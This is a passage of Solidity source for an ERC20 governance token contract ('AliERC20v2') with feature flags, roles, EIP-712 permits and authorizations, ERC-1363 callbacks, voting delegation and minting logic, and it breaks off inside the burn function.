FEATURE_TRANSFERS = 0x0000_0001; /** * @notice Enables ERC20 transfers on behalf * (transfer by someone else on behalf of token owner) * @dev Feature FEATURE_TRANSFERS_ON_BEHALF must be enabled in order for * `transferFrom()` function to succeed * @dev Token owner must call `approve()` first to authorize * the transfer on behalf */ uint32 public constant FEATURE_TRANSFERS_ON_BEHALF = 0x0000_0002; /** * @dev Defines if the default behavior of `transfer` and `transferFrom` * checks if the receiver smart contract supports ERC20 tokens * @dev When feature FEATURE_UNSAFE_TRANSFERS is enabled the transfers do not * check if the receiver smart contract supports ERC20 tokens, * i.e. `transfer` and `transferFrom` behave like `unsafeTransferFrom` * @dev When feature FEATURE_UNSAFE_TRANSFERS is disabled (default) the transfers * check if the receiver smart contract supports ERC20 tokens, * i.e. `transfer` and `transferFrom` behave like `transferFromAndCall` */ uint32 public constant FEATURE_UNSAFE_TRANSFERS = 0x0000_0004; /** * @notice Enables token owners to burn their own tokens * * @dev Feature FEATURE_OWN_BURNS must be enabled in order for * `burn()` function to succeed when called by token owner */ uint32 public constant FEATURE_OWN_BURNS = 0x0000_0008; /** * @notice Enables approved operators to burn tokens on behalf of their owners * * @dev Feature FEATURE_BURNS_ON_BEHALF must be enabled in order for * `burn()` function to succeed when called by approved operator */ uint32 public constant FEATURE_BURNS_ON_BEHALF = 0x0000_0010; /** * @notice Enables delegators to elect delegates * @dev Feature FEATURE_DELEGATIONS must be enabled in order for * `delegate()` function to succeed */ uint32 public constant FEATURE_DELEGATIONS = 0x0000_0020; /** * @notice Enables delegators to elect delegates on behalf * (via an EIP712 signature) * @dev Feature FEATURE_DELEGATIONS_ON_BEHALF must be enabled in order for * `delegateWithAuthorization()` function to succeed */ uint32 public constant FEATURE_DELEGATIONS_ON_BEHALF = 0x0000_0040; /** * @notice Enables ERC-1363 transfers with callback * @dev Feature FEATURE_ERC1363_TRANSFERS must be enabled in order for * ERC-1363 `transferFromAndCall` functions to succeed */ uint32 public constant FEATURE_ERC1363_TRANSFERS = 0x0000_0080; /** * @notice Enables ERC-1363 approvals with callback * @dev Feature FEATURE_ERC1363_APPROVALS must be enabled in order for * ERC-1363 `approveAndCall` functions to succeed */ uint32 public constant FEATURE_ERC1363_APPROVALS = 0x0000_0100; /** * @notice Enables approvals on behalf (EIP2612 permits * via an EIP712 signature) * @dev Feature FEATURE_EIP2612_PERMITS must be enabled in order for * `permit()` function to succeed */ uint32 public constant FEATURE_EIP2612_PERMITS = 0x0000_0200; /** * @notice Enables meta transfers on behalf (EIP3009 transfers * via an EIP712 signature) * @dev Feature FEATURE_EIP3009_TRANSFERS must be enabled in order for * `transferWithAuthorization()` function to succeed */ uint32 public constant FEATURE_EIP3009_TRANSFERS = 0x0000_0400; /** * @notice Enables meta transfers on behalf (EIP3009 transfers * via an EIP712 signature) * @dev Feature FEATURE_EIP3009_RECEPTIONS must be enabled in order for * `receiveWithAuthorization()` function to succeed */ uint32 public constant FEATURE_EIP3009_RECEPTIONS = 0x0000_0800; /** * @notice Token creator is responsible for creating (minting) * tokens to an arbitrary address * @dev Role ROLE_TOKEN_CREATOR allows minting tokens * (calling `mint` function) */ uint32 public constant ROLE_TOKEN_CREATOR = 0x0001_0000; /** * @notice Token destroyer is responsible for destroying (burning) * tokens owned by an arbitrary address * @dev Role ROLE_TOKEN_DESTROYER allows burning tokens * (calling `burn` function) */ uint32 public constant ROLE_TOKEN_DESTROYER = 0x0002_0000; /** * @notice ERC20 receivers are allowed to receive tokens without ERC20 safety checks, * which may be useful to simplify tokens transfers into "legacy" smart contracts * @dev When `FEATURE_UNSAFE_TRANSFERS` is not enabled addresses having * `ROLE_ERC20_RECEIVER` permission are allowed to receive tokens * via `transfer` and `transferFrom` functions in the same way they * would via `unsafeTransferFrom` function * @dev When `FEATURE_UNSAFE_TRANSFERS` is enabled `ROLE_ERC20_RECEIVER` permission * doesn't affect the transfer behaviour since * `transfer` and `transferFrom` behave like `unsafeTransferFrom` for any receiver * @dev ROLE_ERC20_RECEIVER is a shortening for ROLE_UNSAFE_ERC20_RECEIVER */ uint32 public constant ROLE_ERC20_RECEIVER = 0x0004_0000; /** * @notice ERC20 senders are allowed to send tokens without ERC20 safety checks, * which may be useful to simplify tokens transfers into "legacy" smart contracts * @dev When `FEATURE_UNSAFE_TRANSFERS` is not enabled senders having * `ROLE_ERC20_SENDER` permission are allowed to send tokens * via `transfer` and `transferFrom` functions in the same way they * would via `unsafeTransferFrom` function * @dev When `FEATURE_UNSAFE_TRANSFERS` is enabled `ROLE_ERC20_SENDER` permission * doesn't affect the transfer behaviour since * `transfer` and `transferFrom` behave like `unsafeTransferFrom` for any receiver * @dev ROLE_ERC20_SENDER is a shortening for ROLE_UNSAFE_ERC20_SENDER */ uint32 public constant ROLE_ERC20_SENDER = 0x0008_0000; /** * @notice EIP-712 contract's domain typeHash, * see https://eips.ethereum.org/EIPS/eip-712#rationale-for-typehash * * @dev Note: we do not include version into the domain typehash/separator, * it is implied version is concatenated to the name field, like "AliERC20v2" */ // keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)") bytes32 public constant DOMAIN_TYPEHASH = 0x8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866; /** * @notice EIP-712 contract's domain separator, * see https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator */ bytes32 public immutable override DOMAIN_SEPARATOR; /** * @notice EIP-712 delegation struct typeHash, * see https://eips.ethereum.org/EIPS/eip-712#rationale-for-typehash */ // keccak256("Delegation(address delegate,uint256 nonce,uint256 expiry)") bytes32 public constant DELEGATION_TYPEHASH = 0xff41620983935eb4d4a3c7384a066ca8c1d10cef9a5eca9eb97ca735cd14a755; /** * @notice EIP-712 permit (EIP-2612) struct typeHash, * see https://eips.ethereum.org/EIPS/eip-712#rationale-for-typehash */ // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /** * @notice EIP-712 TransferWithAuthorization (EIP-3009) struct typeHash, * see https://eips.ethereum.org/EIPS/eip-712#rationale-for-typehash */ // keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267; /** * @notice EIP-712 ReceiveWithAuthorization (EIP-3009) struct typeHash, * see https://eips.ethereum.org/EIPS/eip-712#rationale-for-typehash */ // keccak256("ReceiveWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant RECEIVE_WITH_AUTHORIZATION_TYPEHASH = 0xd099cc98ef71107a616c4f0f941f04c322d8e254fe26b3c6668db87aae413de8; /** * @notice EIP-712 CancelAuthorization (EIP-3009) struct typeHash, * see https://eips.ethereum.org/EIPS/eip-712#rationale-for-typehash */ // keccak256("CancelAuthorization(address authorizer,bytes32 nonce)") bytes32 public constant CANCEL_AUTHORIZATION_TYPEHASH = 0x158b0a9edf7a828aad02f63cd515c68ef2f50ba807396f6d12842833a1597429; /** * @dev Fired in mint() function * * @param by an address which minted some tokens (transaction sender) * @param to an address the tokens were minted to * @param value an amount of tokens minted */ event Minted(address indexed by, address indexed to, uint256 value); /** * @dev Fired in burn() function * * @param by an address which burned some tokens (transaction sender) * @param from an address the tokens were burnt from * @param value an amount of tokens burnt */ event Burnt(address indexed by, address indexed from, uint256 value); /** * @dev Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) * * @dev Similar to ERC20 Transfer event, but also logs an address which executed transfer * * @dev Fired in transfer(), transferFrom() and some other (non-ERC20) functions * * @param by an address which performed the transfer * @param from an address tokens were consumed from * @param to an address tokens were sent to * @param value number of tokens transferred */ event Transfer(address indexed by, address indexed from, address indexed to, uint256 value); /** * @dev Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) * * @dev Similar to ERC20 Approve event, but also logs old approval value * * @dev Fired in approve(), increaseAllowance(), decreaseAllowance() functions, * may get fired in transfer functions * * @param owner an address which granted a permission to transfer * tokens on its behalf * @param spender an address which received a permission to transfer * tokens on behalf of the owner `_owner` * @param oldValue previously granted amount of tokens to transfer on behalf * @param value new granted amount of tokens to transfer on behalf */ event Approval(address indexed owner, address indexed spender, uint256 oldValue, uint256 value); /** * @dev Notifies that a key-value pair in `votingDelegates` mapping has changed, * i.e. a delegator address has changed its delegate address * * @param source delegator address, a token owner, effectively transaction sender (`by`) * @param from old delegate, an address which delegate right is revoked * @param to new delegate, an address which received the voting power */ event DelegateChanged(address indexed source, address indexed from, address indexed to); /** * @dev Notifies that a key-value pair in `votingPowerHistory` mapping has changed, * i.e. a delegate's voting power has changed. * * @param by an address which executed delegate, mint, burn, or transfer operation * which had led to delegate voting power change * @param target delegate whose voting power has changed * @param fromVal previous number of votes delegate had * @param toVal new number of votes delegate has */ event VotingPowerChanged(address indexed by, address indexed target, uint256 fromVal, uint256 toVal); /** * @dev Deploys the token smart contract, * assigns initial token supply to the address specified * * @param _initialHolder owner of the initial token supply */ constructor(address _initialHolder) { // verify initial holder address non-zero (is set) require(_initialHolder != address(0), "_initialHolder not set (zero address)"); // build the EIP-712 contract domain separator, see https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator // note: we specify contract version in its name DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes("AliERC20v2")), block.chainid, address(this))); // mint initial supply mint(_initialHolder, 10_000_000_000e18); } /** * @inheritdoc ERC165 */ function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { // reconstruct from current interface(s) and super interface(s) (if any) return interfaceId == type(ERC165).interfaceId || interfaceId == type(ERC20).interfaceId || interfaceId == type(ERC1363).interfaceId || interfaceId == type(EIP2612).interfaceId || interfaceId == type(EIP3009).interfaceId; } // ===== Start: ERC-1363 functions ===== /** * @notice Transfers some tokens and then executes `onTransferReceived` callback on the receiver * * @inheritdoc ERC1363 * * @dev Called by token owner (an address which has a * positive token balance tracked by this smart contract) * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * EOA or smart contract which doesn't support ERC1363Receiver interface * @dev Returns true on success, throws otherwise * * @param _to an address to transfer tokens to, * must be a smart contract, implementing ERC1363Receiver * @param _value amount of tokens to be transferred,, zero * value is allowed * @return true unless throwing */ function transferAndCall(address _to, uint256 _value) public override returns (bool) { // delegate to `transferFromAndCall` passing `msg.sender` as `_from` return transferFromAndCall(msg.sender, _to, _value); } /** * @notice Transfers some tokens and then executes `onTransferReceived` callback on the receiver * * @inheritdoc ERC1363 * * @dev Called by token owner (an address which has a * positive token balance tracked by this smart contract) * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * EOA or smart contract which doesn't support ERC1363Receiver interface * @dev Returns true on success, throws otherwise * * @param _to an address to transfer tokens to, * must be a smart contract, implementing ERC1363Receiver * @param _value amount of tokens to be transferred,, zero * value is allowed * @param _data [optional] additional data with no specified format, * sent in onTransferReceived call to `_to` * @return true unless throwing */ function transferAndCall(address _to, uint256 _value, bytes memory _data) public override returns (bool) { // delegate to `transferFromAndCall` passing `msg.sender` as `_from` return transferFromAndCall(msg.sender, _to, _value, _data); } /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` and then executes `onTransferReceived` callback on the receiver * * @inheritdoc ERC1363 * * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * EOA or smart contract which doesn't support ERC1363Receiver interface * @dev Returns true on success, throws otherwise * * @param _from token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to an address to transfer tokens to, * must be a smart contract, implementing ERC1363Receiver * @param _value amount of tokens to be transferred,, zero * value is allowed * @return true unless throwing */ function transferFromAndCall(address _from, address _to, uint256 _value) public override returns (bool) { // delegate to `transferFromAndCall` passing empty data param return transferFromAndCall(_from, _to, _value, ""); } /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` and then executes a `onTransferReceived` callback on the receiver * * @inheritdoc ERC1363 * * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * EOA or smart contract which doesn't support ERC1363Receiver interface * @dev Returns true on success, throws otherwise * * @param _from token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to an address to transfer tokens to, * must be a smart contract, implementing ERC1363Receiver * @param _value amount of tokens to be transferred,, zero * value is allowed * @param _data [optional] additional data with no specified format, * sent in onTransferReceived call to `_to` * @return true unless throwing */ function transferFromAndCall(address _from, address _to, uint256 _value, bytes memory _data) public override returns (bool) { // ensure ERC-1363 transfers are enabled require(isFeatureEnabled(FEATURE_ERC1363_TRANSFERS), "ERC1363 transfers are disabled"); // first delegate call to `unsafeTransferFrom` to perform the unsafe token(s) transfer unsafeTransferFrom(_from, _to, _value); // after the successful transfer - check if receiver supports // ERC1363Receiver and execute a callback handler `onTransferReceived`, // reverting whole transaction on any error _notifyTransferred(_from, _to, _value, _data, false); // function throws on any error, so if we're here - it means operation successful, just return true return true; } /** * @notice Approves address called `_spender` to transfer some amount * of tokens on behalf of the owner, then executes a `onApprovalReceived` callback on `_spender` * * @inheritdoc ERC1363 * * @dev Caller must not necessarily own any tokens to grant the permission * * @dev Throws if `_spender` is an EOA or a smart contract which doesn't support ERC1363Spender interface * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner * @return success true on success, throws otherwise */ function approveAndCall(address _spender, uint256 _value) public override returns (bool) { // delegate to `approveAndCall` passing empty data return approveAndCall(_spender, _value, ""); } /** * @notice Approves address called `_spender` to transfer some amount * of tokens on behalf of the owner, then executes a callback on `_spender` * * @inheritdoc ERC1363 * * @dev Caller must not necessarily own any tokens to grant the permission * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner * @param _data [optional] additional data with no specified format, * sent in onApprovalReceived call to `_spender` * @return success true on success, throws otherwise */ function approveAndCall(address _spender, uint256 _value, bytes memory _data) public override returns (bool) { // ensure ERC-1363 approvals are enabled require(isFeatureEnabled(FEATURE_ERC1363_APPROVALS), "ERC1363 approvals are disabled"); // execute regular ERC20 approve - delegate to `approve` approve(_spender, _value); // after the successful approve - check if receiver supports // ERC1363Spender and execute a callback handler `onApprovalReceived`, // reverting whole transaction on any error _notifyApproved(_spender, _value, _data); // function throws on any error, so if we're here - it means operation successful, just return true return true; } /** * @dev Auxiliary function to invoke `onTransferReceived` on a target address * The call is not executed if the target address is not a contract; in such * a case function throws if `allowEoa` is set to false, succeeds if it's true * * @dev Throws on any error; returns silently on success * * @param _from representing the previous owner of the given token value * @param _to target address that will receive the tokens * @param _value the amount mount of tokens to be transferred * @param _data [optional] data to send along with the call * @param allowEoa indicates if function should fail if `_to` is an EOA */ function _notifyTransferred(address _from, address _to, uint256 _value, bytes memory _data, bool allowEoa) private { // if recipient `_to` is EOA if (!AddressUtils.isContract(_to)) { // ensure EOA recipient is allowed require(allowEoa, "EOA recipient"); // exit if successful return; } // otherwise - if `_to` is a contract - execute onTransferReceived bytes4 response = ERC1363Receiver(_to).onTransferReceived(msg.sender, _from, _value, _data); // expected response is ERC1363Receiver(_to).onTransferReceived.selector // bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)")) require(response == ERC1363Receiver(_to).onTransferReceived.selector, "invalid onTransferReceived response"); } /** * @dev Auxiliary function to invoke `onApprovalReceived` on a target address * The call is not executed if the target address is not a contract; in such * a case function throws if `allowEoa` is set to false, succeeds if it's true * * @dev Throws on any error; returns silently on success * * @param _spender the address which will spend the funds * @param _value the amount of tokens to be spent * @param _data [optional] data to send along with the call */ function _notifyApproved(address _spender, uint256 _value, bytes memory _data) private { // ensure recipient is not EOA require(AddressUtils.isContract(_spender), "EOA spender"); // otherwise - if `_to` is a contract - execute onApprovalReceived bytes4 response = ERC1363Spender(_spender).onApprovalReceived(msg.sender, _value, _data); // expected response is ERC1363Spender(_to).onApprovalReceived.selector // bytes4(keccak256("onApprovalReceived(address,uint256,bytes)")) require(response == ERC1363Spender(_spender).onApprovalReceived.selector, "invalid onApprovalReceived response"); } // ===== End: ERC-1363 functions ===== // ===== Start: ERC20 functions ===== /** * @notice Gets the balance of a particular address * * @inheritdoc ERC20 * * @param _owner the address to query the the balance for * @return balance an amount of tokens owned by the address specified */ function balanceOf(address _owner) public view override returns (uint256 balance) { // read the balance and return return tokenBalances[_owner]; } /** * @notice Transfers some tokens to an external address or a smart contract * * @inheritdoc ERC20 * * @dev Called by token owner (an address which has a * positive token balance tracked by this smart contract) * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * self address or * * smart contract which doesn't support ERC20 * * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * compliant with the ERC20 standard * @param _value amount of tokens to be transferred,, zero * value is allowed * @return success true on success, throws otherwise */ function transfer(address _to, uint256 _value) public override returns (bool success) { // just delegate call to `transferFrom`, // `FEATURE_TRANSFERS` is verified inside it return transferFrom(msg.sender, _to, _value); } /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` * * @inheritdoc ERC20 * * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * smart contract which doesn't support ERC20 * * @param _from token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * compliant with the ERC20 standard * @param _value amount of tokens to be transferred,, zero * value is allowed * @return success true on success, throws otherwise */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool success) { // depending on `FEATURE_UNSAFE_TRANSFERS` we execute either safe (default) // or unsafe transfer // if `FEATURE_UNSAFE_TRANSFERS` is enabled // or receiver has `ROLE_ERC20_RECEIVER` permission // or sender has `ROLE_ERC20_SENDER` permission if(isFeatureEnabled(FEATURE_UNSAFE_TRANSFERS) || isOperatorInRole(_to, ROLE_ERC20_RECEIVER) || isSenderInRole(ROLE_ERC20_SENDER)) { // we execute unsafe transfer - delegate call to `unsafeTransferFrom`, // `FEATURE_TRANSFERS` is verified inside it unsafeTransferFrom(_from, _to, _value); } // otherwise - if `FEATURE_UNSAFE_TRANSFERS` is disabled // and receiver doesn't have `ROLE_ERC20_RECEIVER` permission else { // we execute safe transfer - delegate call to `safeTransferFrom`, passing empty `_data`, // `FEATURE_TRANSFERS` is verified inside it safeTransferFrom(_from, _to, _value, ""); } // both `unsafeTransferFrom` and `safeTransferFrom` throw on any error, so // if we're here - it means operation successful, // just return true return true; } /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` and then executes `onTransferReceived` callback * on the receiver if it is a smart contract (not an EOA) * * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * * smart contract which doesn't support ERC1363Receiver interface * @dev Returns true on success, throws otherwise * * @param _from token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to an address to transfer tokens to, * must be either an external address or a smart contract, * implementing ERC1363Receiver * @param _value amount of tokens to be transferred,, zero * value is allowed * @param _data [optional] additional data with no specified format, * sent in onTransferReceived call to `_to` in case if its a smart contract * @return true unless throwing */ function safeTransferFrom(address _from, address _to, uint256 _value, bytes memory _data) public returns (bool) { // first delegate call to `unsafeTransferFrom` to perform the unsafe token(s) transfer unsafeTransferFrom(_from, _to, _value); // after the successful transfer - check if receiver supports // ERC1363Receiver and execute a callback handler `onTransferReceived`, // reverting whole transaction on any error _notifyTransferred(_from, _to, _value, _data, true); // function throws on any error, so if we're here - it means operation successful, just return true return true; } /** * @notice Transfers some tokens on behalf of address `_from' (token owner) * to some other address `_to` * * @dev In contrast to `transferFromAndCall` doesn't check recipient * smart contract to support ERC20 tokens (ERC1363Receiver) * @dev Designed to be used by developers when the receiver is known * to support ERC20 tokens but doesn't implement ERC1363Receiver interface * @dev Called by token owner on his own or approved address, * an address approved earlier by token owner to * transfer some amount of tokens on its behalf * @dev Throws on any error like * * insufficient token balance or * * incorrect `_to` address: * * zero address or * * same as `_from` address (self transfer) * @dev Returns silently on success, throws otherwise * * @param _from token sender, token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to token receiver, an address to transfer tokens to * @param _value amount of tokens to be transferred,, zero * value is allowed */ function unsafeTransferFrom(address _from, address _to, uint256 _value) public { // make an internal transferFrom - delegate to `__transferFrom` __transferFrom(msg.sender, _from, _to, _value); } /** * @dev Powers the meta transactions for `unsafeTransferFrom` - EIP-3009 `transferWithAuthorization` * and `receiveWithAuthorization` * * @dev See `unsafeTransferFrom` and `transferFrom` soldoc for details * * @param _by an address executing the transfer, it can be token owner itself, * or an operator previously approved with `approve()` * @param _from token sender, token owner which approved caller (transaction sender) * to transfer `_value` of tokens on its behalf * @param _to token receiver, an address to transfer tokens to * @param _value amount of tokens to be transferred,, zero * value is allowed */ function __transferFrom(address _by, address _from, address _to, uint256 _value) private { // if `_from` is equal to sender, require transfers feature to be enabled // otherwise require transfers on behalf feature to be enabled require(_from == _by && isFeatureEnabled(FEATURE_TRANSFERS) || _from != _by && isFeatureEnabled(FEATURE_TRANSFERS_ON_BEHALF), _from == _by? "transfers are disabled": "transfers on behalf are disabled"); // non-zero source address check - Zeppelin // obviously, zero source address is a client mistake // it's not part of ERC20 standard but it's reasonable to fail fast // since for zero value transfer transaction succeeds otherwise require(_from != address(0), "transfer from the zero address"); // non-zero recipient address check require(_to != address(0), "transfer to the zero address"); // sender and recipient cannot be the same require(_from != _to, "sender and recipient are the same (_from = _to)"); // sending tokens to the token smart contract itself is a client mistake require(_to != address(this), "invalid recipient (transfer to the token smart contract itself)"); // according to ERC-20 Token Standard, https://eips.ethereum.org/EIPS/eip-20 // "Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event." if(_value == 0) { // emit an ERC20 transfer event emit Transfer(_from, _to, _value); // don't forget to return - we're done return; } // no need to make arithmetic overflow check on the _value - by design of mint() // in case of transfer on behalf if(_from != _by) { // read allowance value - the amount of tokens allowed to transfer - into the stack uint256 _allowance = transferAllowances[_from][_by]; // verify sender has an allowance to transfer amount of tokens requested require(_allowance >= _value, "transfer amount exceeds allowance"); // we treat max uint256 allowance value as an "unlimited" and // do not decrease allowance when it is set to "unlimited" value if(_allowance < type(uint256).max) { // update allowance value on the stack _allowance -= _value; // update the allowance value in storage transferAllowances[_from][_by] = _allowance; // emit an improved atomic approve event emit Approval(_from, _by, _allowance + _value, _allowance); // emit an ERC20 approval event to reflect the decrease emit Approval(_from, _by, _allowance); } } // verify sender has enough tokens to transfer on behalf require(tokenBalances[_from] >= _value, "transfer amount exceeds balance"); // perform the transfer: // decrease token owner (sender) balance tokenBalances[_from] -= _value; // increase `_to` address (receiver) balance tokenBalances[_to] += _value; // move voting power associated with the tokens transferred __moveVotingPower(_by, votingDelegates[_from], votingDelegates[_to], _value); // emit an improved transfer event (arXiv:1907.00903) emit Transfer(_by, _from, _to, _value); // emit an ERC20 transfer event emit Transfer(_from, _to, _value); } /** * @notice Approves address called `_spender` to transfer some amount * of tokens on behalf of the owner (transaction sender) * * @inheritdoc ERC20 * * @dev Transaction sender must not necessarily own any tokens to grant the permission * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner * @return success true on success, throws otherwise */ function approve(address _spender, uint256 _value) public override returns (bool success) { // make an internal approve - delegate to `__approve` __approve(msg.sender, _spender, _value); // operation successful, return true return true; } /** * @dev Powers the meta transaction for `approve` - EIP-2612 `permit` * * @dev Approves address called `_spender` to transfer some amount * of tokens on behalf of the `_owner` * * @dev `_owner` must not necessarily own any tokens to grant the permission * @dev Throws if `_spender` is a zero address * * @param _owner owner of the tokens to set approval on behalf of * @param _spender an address approved by the token owner * to spend some tokens on its behalf * @param _value an amount of tokens spender `_spender` is allowed to * transfer on behalf of the token owner */ function __approve(address _owner, address _spender, uint256 _value) private { // non-zero spender address check - Zeppelin // obviously, zero spender address is a client mistake // it's not part of ERC20 standard but it's reasonable to fail fast require(_spender != address(0), "approve to the zero address"); // read old approval value to emmit an improved event (arXiv:1907.00903) uint256 _oldValue = transferAllowances[_owner][_spender]; // perform an operation: write value requested into the storage transferAllowances[_owner][_spender] = _value; // emit an improved atomic approve event (arXiv:1907.00903) emit Approval(_owner, _spender, _oldValue, _value); // emit an ERC20 approval event emit Approval(_owner, _spender, _value); } /** * @notice Returns the amount which _spender is still allowed to withdraw from _owner. * * @inheritdoc ERC20 * * @dev A function to check an amount of tokens owner approved * to transfer on its behalf by some other address called "spender" * * @param _owner an address which approves transferring some tokens on its behalf * @param _spender an address approved to transfer some tokens on behalf * @return remaining an amount of tokens approved address `_spender` can transfer on behalf * of token owner `_owner` */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { // read the value from storage and return return transferAllowances[_owner][_spender]; } // ===== End: ERC20 functions ===== // ===== Start: Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) ===== /** * @notice Increases the allowance granted to `spender` by the transaction sender * * @dev Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) * * @dev Throws if value to increase by is zero or too big and causes arithmetic overflow * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens to increase by * @return success true on success, throws otherwise */ function increaseAllowance(address _spender, uint256 _value) public returns (bool) { // read current allowance value uint256 currentVal = transferAllowances[msg.sender][_spender]; // non-zero _value and arithmetic overflow check on the allowance unchecked { // put operation into unchecked block to display user-friendly overflow error message for Solidity 0.8+ require(currentVal + _value > currentVal, "zero value approval increase or arithmetic overflow"); } // delegate call to `approve` with the new value return approve(_spender, currentVal + _value); } /** * @notice Decreases the allowance granted to `spender` by the caller. * * @dev Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) * * @dev Throws if value to decrease by is zero or is greater than currently allowed value * * @param _spender an address approved by the caller (token owner) * to spend some tokens on its behalf * @param _value an amount of tokens to decrease by * @return success true on success, throws otherwise */ function decreaseAllowance(address _spender, uint256 _value) public returns (bool) { // read current allowance value uint256 currentVal = transferAllowances[msg.sender][_spender]; // non-zero _value check on the allowance require(_value > 0, "zero value approval decrease"); // verify allowance decrease doesn't underflow require(currentVal >= _value, "ERC20: decreased allowance below zero"); // delegate call to `approve` with the new value return approve(_spender, currentVal - _value); } // ===== End: Resolution for the Multiple Withdrawal Attack on ERC20 Tokens (arXiv:1907.00903) ===== // ===== Start: Minting/burning extension ===== /** * @dev Mints (creates) some tokens to address specified * @dev The value specified is treated as is without taking * into account what `decimals` value is * * @dev Requires executor to have `ROLE_TOKEN_CREATOR` permission * * @dev Throws on overflow, if totalSupply + _value doesn't fit into uint256 * * @param _to an address to mint tokens to * @param _value an amount of tokens to mint (create) */ function mint(address _to, uint256 _value) public { // check if caller has sufficient permissions to mint tokens require(isSenderInRole(ROLE_TOKEN_CREATOR), "access denied"); // non-zero recipient address check require(_to != address(0), "zero address"); // non-zero _value and arithmetic overflow check on the total supply // this check automatically secures arithmetic overflow on the individual balance unchecked { // put operation into unchecked block to display user-friendly overflow error message for Solidity 0.8+ require(totalSupply + _value > totalSupply, "zero value or arithmetic overflow"); } // uint192 overflow check (required by voting delegation) require(totalSupply + _value <= type(uint192).max, "total supply overflow (uint192)"); // perform mint: // increase total amount of tokens value totalSupply += _value; // increase `_to` address balance tokenBalances[_to] += _value; // update total token supply history __updateHistory(totalSupplyHistory, add, _value); // create voting power associated with the tokens minted __moveVotingPower(msg.sender, address(0), votingDelegates[_to], _value); // fire a minted event emit Minted(msg.sender, _to, _value); // emit an improved transfer event (arXiv:1907.00903) emit Transfer(msg.sender, address(0), _to, _value); // fire ERC20 compliant transfer event emit Transfer(address(0), _to, _value); } /** * @dev Burns (destroys) some tokens from the address specified * * @dev The value specified is treated as is without taking * into account what `decimals` value is * * @dev Requires executor to have `ROLE_TOKEN_DESTROYER` permission * or FEATURE_OWN_BURNS/FEATURE_BURNS_ON_BEHALF features to be enabled * * @dev Can be disabled by the contract creator forever by disabling * FEATURE_OWN_BURNS/FEATURE_BURNS_ON_BEHALF features and then revoking * its own roles to burn tokens and to enable burning features * * @param _from an address to burn some tokens from * @param _value an amount of tokens to burn (destroy) */ function burn(address _from, uint256 _value) public { // check if caller has sufficient permissions to burn tokens // and if not - check for possibility to burn own tokens or to burn on behalf if(!isSenderInRole(ROLE_TOKEN_DESTROYER)) { // if `_from` is equal to sender, require own burns feature to be enabled // otherwise require burns on behalf feature to be enabled require(_from == msg.sender && isFeatureEnabled(FEATURE_OWN_BURNS) || _from != msg.sender && isFeatureEnabled(FEATURE_BURNS_ON_BEHALF), _from == msg.sender? "burns are disabled": "burns on behalf are disabled"); // in case of burn on behalf if(_from != msg.sender) { // read allowance value - the amount of tokens allowed to be burnt - into the stack uint256 _allowance = transferAllowances[_from][msg.sender]; // verify sender has an allowance to burn amount of tokens requested require(_allowance >= _value, "burn amount exceeds 